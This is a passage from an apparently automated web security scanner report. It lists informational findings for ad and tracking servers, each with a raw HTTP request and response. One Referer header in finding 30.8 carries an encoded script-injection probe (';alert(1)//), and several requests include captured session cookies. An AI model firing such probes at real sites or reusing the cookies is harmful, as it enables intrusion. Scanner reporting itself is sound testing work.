User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc;

Response

HTTP/1.1 500 Error: Not a valid request
Content-Type: text/html
Content-Length: 45
Date: Sat, 05 Feb 2011 21:50:26 GMT
Server: GFE/2.0
Connection: close

<h1>Error 500 Error: Not a valid request</h1>

30.7. http://altfarm.mediaplex.com/ad/ck/9700-118565-26469-2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/ck/9700-118565-26469-2

Request

Response

30.8. http://amch.questionmarket.com/adscgen/st.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adscgen/st.php

Request

GET /adscgen/st.php?survey_num=852910&site=58231430&code=40051907&randnum=2247547 HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CS1=823529-1-2_39959898-17-1_40016019-8-1_40015506-8-3_849331-6-5_825697-8-1_39942282-8-1_39823749-21-1_40142779-4-1_38973908-10-1_865756-1-6_40051907-8-1; ES=823529-ie.pM-MG_844890-`:tqM-0_822109-|RIsM-26_853829-y]GsM-Bi1_847435-l^GsM-!"1_791689-/qcsM-0_852149-*jtsM-0_775684-'LysM-0_865756-tvKtM-01_852910-XHktM-0

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:46 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
DL_S: a208.dl
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Content-Length: 900
Content-Type: text/html

(function(){
if(1!=4){
(new Image).src="http://amch.questionmarket.com/adsc/d852910/8/40051907/decide.php?ord="+Math.floor((new Date()).getTime()/1000);

}
})();

var DL_ktagParm = new Array();
DL_kt
...[SNIP]...

30.9. http://api.tweetmeme.com/button.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.tweetmeme.com
Path:	/button.js

Request

GET /button.js HTTP/1.1
Host: api.tweetmeme.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: user_unique_ident=4d4300485cccb8.88856407-57c11f7a933564d3f62b1bb71b01e19d; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __qca=P0-724637325-1295907700201; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 06 Feb 2011 16:00:03 GMT
Content-Type: text/html
Connection: close
P3P: CP="CAO PSA"
X-Served-By: h01
Content-Length: 67

tweetmemedata({"status":"failure","reason":"missing param 'url'"});

30.10. http://baselinemag.us.intellitxt.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://baselinemag.us.intellitxt.com
Path:	/

Request

Response

30.11. http://blogmarks.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blogmarks.net
Path:	/

Request

GET / HTTP/1.1
Host: blogmarks.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.12. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2117121&PluID=0&e=0&w=728&h=90&ord=7582024&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3aa6/3/0/%2a/m%3B235470018%3B0-0%3B0%3B23542470%3B3454-728/90%3B40150909/40168696/1%3Bu%3Dzdtopic%3Ditmanagement|zdtopic%3Denterprise|zdtopic%3Dintelligence|zdid%3Da6280|zdtype%3Darticle|zdaudience%3D|zdproduct%3D|zdcompany%3D|zdpagetype%3D%3B%7Eaopt%3D2/0/73/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: u3=1; C4=; ActivityInfo=000p81bCx%5f; eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gYyfadw90cvM00001gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001gL2MadKj0bdR00001gKXMaepH0bdR00001h802ae7k0c6L00001fUFGa50V02WG00001gYx+adw90cvM00001gKXNaepP0bdR00001gy3.ach00c9M00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001gNQ4ae7r0c9M00001; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ8mb20000000001t48i440000000001t28bwx0000000001t482790000000002t5852G0000000003sS8qav0000000001t57dNH0000000002sZ7GHq0000000001s.7FCH0000000001s.83xP0000000001sF8cVQ0000000001sV82980000000001t3852N0000000001s.87ma0000000001s.6o.Q0000000001sY7gi30000000001sG8i430000000001t2852z0000000001sS852A0000000001sS; u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0; expires=Sat, 07-May-2011 08:21:31 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=gLnTaeKR09sO00001h5j3abNz07l00000.h5iUabNz07l00000Qf+JvabEk02WG00002gNfHaaiN0aVX00001gn3Ka4JO09MY00001gYyfadw90cvM00001gL2MadKj0bdR00001fU+La50V0a+r00001h802ae7k0c6L00001gKXMaepH0bdR00001gKXNaepP0bdR00001gYx+adw90cvM00001fUFGa50V02WG00001gy3.ach00c9M00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gCTVa9bU0c9M00001gy5Da9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001gNQ4ae7r0c9M00001ge4Hack+0bM000001; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=89PS000000000QsZ7lgH0000000001sG89PT000000000.sZ8bwx0000000001t48i440000000001t28mb20000000001t4852G0000000003sS82790000000002t57dNH0000000002sZ8qav0000000001t57GHq0000000001s.7FCH0000000001s.8cVQ0000000001sV83xP0000000001sF82980000000001t384U10000000001t6852N0000000001s.6o.Q0000000001sY87ma0000000001s.8i430000000001t27gi30000000001sG852z0000000001sS852A0000000001sS; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g; expires=Sat, 07-May-2011 08:21:31 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 13:21:30 GMT
Connection: close
Content-Length: 2841

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

30.13. http://buzzport.gatech.edu/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://buzzport.gatech.edu
Path:	/

Request

GET / HTTP/1.1
Host: buzzport.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.14. http://c03.adsummos.net/a/e/s21719 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://c03.adsummos.net
Path:	/a/e/s21719

Request

Response

30.15. http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R8lWflQ0f_326769041.html

Request

GET /i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl= HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560320&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942560294&frm=0&adk=2257162608&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=3&dtd=3&xpc=dnlnsmkeRR&p=http%3A//www.orthougm.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchrubicon=1; matchgoogle=1; matchappnexus=1; wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ

Response

30.16. https://cibng.ibanking-services.com/cib/CEBMainServlet/Login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cibng.ibanking-services.com
Path:	/cib/CEBMainServlet/Login

Request

GET /cib/CEBMainServlet/Login HTTP/1.1
Host: cibng.ibanking-services.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:50:30 GMT
Server: IBM_HTTP_Server
Pragma: no-cache
Last-Modified: Thu, 13 Sep 2007 12:12:22 GMT
Content-Length: 342
Set-Cookie: wf=wf
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html
Content-Language: en

<HTML>
   <HEAD>
   <TITLE>Invalid Request</TITLE>
   </HEAD>
<BODY>

<br></br><br></br>

<center>We are unable to complete your request.<br></br>
To log in, you may need to set your Internet browser to acc
...[SNIP]...

30.17. http://corp.americanexpress.com/gcs/travel/us/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://corp.americanexpress.com
Path:	/gcs/travel/us/

Request

GET /gcs/travel/us/ HTTP/1.1
Host: corp.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.18. http://demos.spongecell.com/404.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://demos.spongecell.com
Path:	/404.html

Request

GET /404.html HTTP/1.1
Host: demos.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.19. http://download32.us.intellitxt.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/

Request

Response

30.20. http://download32.us.intellitxt.com/iframescript.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/iframescript.jsp

Request

GET /iframescript.jsp?src=http%3A%2F%2Fpixel.intellitxt.com%2Fpixel.jsp%3Fid%3D2773%2C2770%2C2765%2C2794%2C2792%2C2795%2C2763%2C2764%26type%3Dscript%26ipid%3D18400%26sfid%3D0 HTTP/1.1
Host: download32.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Content-Type: text/html
Content-Length: 182
Date: Sat, 05 Feb 2011 21:48:01 GMT
Connection: close

<html><body><script src="http://pixel.intellitxt.com/pixel.jsp?id=2773,2770,2765,2794,2792,2795,2763,2764&type=script&ipid=18400&sfid=0" language="javascript"></script></body></html>

30.21. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/activityi

Request

Response

30.22. http://freeengineer.org/learnUNIXin10minutes.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://freeengineer.org
Path:	/learnUNIXin10minutes.html

Request

GET /learnUNIXin10minutes.html HTTP/1.1
Host: freeengineer.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:51:05 GMT
Server: Apache/2.2.17
Last-Modified: Fri, 01 Dec 2006 00:27:01 GMT
ETag: "8fc4e7-4d79-423800efb9f40"
Accept-Ranges: bytes
Content-Length: 19833
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<TITLE>Learn UNIX in 10 minutes</TITLE>
<META NAME="AUTHOR" CONTENT="cjohnson">
<META NAME="keywords" CONTENT="unix, cheatshe
...[SNIP]...

30.23. https://home.americanexpress.com/home/corporations.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.americanexpress.com
Path:	/home/corporations.shtml

Request

GET /home/corporations.shtml HTTP/1.1
Host: home.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.24. http://in.getclicky.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://in.getclicky.com
Path:	/

Request

GET / HTTP/1.1
Host: in.getclicky.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cluid=4151896484841637591;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:51:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Length: 4
Connection: close
Content-Type: text/html

Hmm.

30.25. https://in.getclicky.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://in.getclicky.com
Path:	/

Request

GET / HTTP/1.1
Host: in.getclicky.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cluid=4151896484841637591;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:51:11 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Length: 4
Connection: close
Content-Type: text/html

Hmm.

30.26. http://info.bisk.com/MCIndex.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://info.bisk.com
Path:	/MCIndex.asp

Request

GET /MCIndex.asp HTTP/1.1
Host: info.bisk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.27. http://internetmailmanager.com/s/svrg.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://internetmailmanager.com
Path:	/s/svrg.asp

Request

GET /s/svrg.asp HTTP/1.1
Host: internetmailmanager.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.28. http://javascript.crockford.com/jsmin.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://javascript.crockford.com
Path:	/jsmin.html

Request

GET /jsmin.html HTTP/1.1
Host: javascript.crockford.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.29. http://jqueryui.com/about previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/about

Request

GET /about HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.30. http://jqueryui.com/themeroller/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Request

GET /themeroller/ HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.31. http://links.industrybrains.com/click previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://links.industrybrains.com
Path:	/click

Request

GET /click HTTP/1.1
Host: links.industrybrains.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 400 Bad Request
Connection: close
Date: Sun, 06 Feb 2011 16:01:21 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/html
Cache-Control: no-cache, max-age=0, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Feb 2011 16:01:21 GMT
Content-Length: 77

<html><body>Invalid request</body></html>

30.32. http://macgpg.sourceforge.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://macgpg.sourceforge.net
Path:	/

Request

GET / HTTP/1.1
Host: macgpg.sourceforge.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.63
Date: Sat, 05 Feb 2011 21:51:24 GMT
Content-Type: text/html
Connection: close
Last-Modified: Fri, 12 Nov 2010 14:49:57 GMT
ETag: "43a6-494dc343d72b3"
Accept-Ranges: bytes
Content-Length: 17318
Cache-Control: max-age=172800
Expires: Mon, 07 Feb 2011 21:51:24 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="styles.css">
<title>Mac GNU Pr
...[SNIP]...

30.33. http://metrixlablw.customers.luna.net/p10833/tagger_v03.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrixlablw.customers.luna.net
Path:	/p10833/tagger_v03.php

Request

Response

30.34. http://now.eloqua.com/visitor/v200/svrGP.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://now.eloqua.com
Path:	/visitor/v200/svrGP.aspx

Request

GET /visitor/v200/svrGP.aspx?pps=3&siteid=1528&ref2=http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg&tzo=360&ms=128 HTTP/1.1
Host: now.eloqua.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ELOQUA=GUID=832D38EEC08246AA9E81E93E71DE673D; ELQSTATUS=OK

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
P3P: CP="IDC DSP COR DEVa TAIa OUR BUS PHY ONL UNI COM NAV CNT STA",
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:49:44 GMT
Content-Length: 49

GIF89a...................!.......,...........T..;

30.35. http://packetstorm.linuxsecurity.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://packetstorm.linuxsecurity.com
Path:	/

Request

GET / HTTP/1.1
Host: packetstorm.linuxsecurity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:28 GMT
Server: Apache
Accept-Ranges: bytes
Content-Length: 221
Connection: close
Content-Type: text/html

<html><head>
<meta http-equiv="refresh" content="0;url=http://packetstormsecurity.org/"></head>
<body>This page has moved here: <a href="http://packetstormsecurity.org/">http://packetstormsecurity.org
...[SNIP]...

30.36. http://ping.chartbeat.net/ping previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ping.chartbeat.net
Path:	/ping

Request

GET /ping?h=appdeveloper.intel.com&p=%2Fen-us%2Fjoin&u=7eetxrpbruuu11xx&d=appdeveloper.intel.com&g=982&n=1&c=2.85&x=0&y=1218&w=1012&j=90&R=0&W=0&I=1&b=28275&t=dzwbsgzxsvk86e5l&_ HTTP/1.1
Host: ping.chartbeat.net
Proxy-Connection: keep-alive
Referer: http://appdeveloper.intel.com/en-us/join
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 500 Referrer data required.
Server: nginx/0.7.65
Date: Sat, 05 Feb 2011 22:36:38 GMT
Content-Type: text/html
Connection: close
Content-Length: 146

<HTML><HEAD>
<TITLE>500 Referrer data required.</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
Invalid method in request<P>
</BODY></HTML>

30.37. http://pixel.intellitxt.com/pixel.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.intellitxt.com
Path:	/pixel.jsp

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_PIX=AQAAAAkAAArrAQAAAAEAAAEt98vDoAAACuoBAAAAAQAAAS33y8OgAAAKywEAAAABAAABLffLw6AAAAroAQAAAAEAAAEt98vDoAAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAHcLRHA--; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:48:02 GMT; Path=/
Content-Type: text/html
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 21:48:02 GMT
Connection: close
Content-Length: 3149

(function(){try{var d=document;var u;u='http://segment-pixel.invitemedia.com/pixel?code=2773&partnerID=86&key=segment&returnType=js';if(navigator.appVersion.indexOf('MSIE')>=0 && ('complete'!=document
...[SNIP]...

30.38. http://rapidog.com/game-thoi-trang-bup-be-ba-by-rapidshare.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rapidog.com
Path:	/game-thoi-trang-bup-be-ba-by-rapidshare.html

Request

GET /game-thoi-trang-bup-be-ba-by-rapidshare.html HTTP/1.1
Host: rapidog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.39. http://searchnet.chitika.net/audience previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchnet.chitika.net
Path:	/audience

Request

Response

30.40. http://spe.redcated/ds/NMMRTUMISAUB/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://spe.redcated
Path:	/ds/NMMRTUMISAUB/

Request

GET /ds/NMMRTUMISAUB/ HTTP/1.1
Host: spe.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F;

Response

HTTP/1.1 400 Bad Request
Content-Type: text/html
Content-Length: 15
Allow: GET
Date: Sun, 06 Feb 2011 16:04:52 GMT
Connection: close

<html>
</html>

30.41. http://spe.redcated/ds/NMMRTUMISITP/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://spe.redcated
Path:	/ds/NMMRTUMISITP/

Request

GET /ds/NMMRTUMISITP/ HTTP/1.1
Host: spe.redcated
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F;

Response

HTTP/1.1 400 Bad Request
Content-Type: text/html
Content-Length: 15
Allow: GET
Date: Sun, 06 Feb 2011 16:04:52 GMT
Connection: close

<html>
</html>

30.42. http://starpulse.us.intellitxt.com/intellitxt/switch.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://starpulse.us.intellitxt.com
Path:	/intellitxt/switch.asp

Request

Response

30.43. http://static.getclicky.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.getclicky.com
Path:	/

Request

GET / HTTP/1.1
Host: static.getclicky.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 21:52:43 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6-1+lenny6
Content-Length: 4

Hmm.

30.44. https://static.getclicky.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://static.getclicky.com
Path:	/

Request

GET / HTTP/1.1
Host: static.getclicky.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 21:52:45 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6-1+lenny6
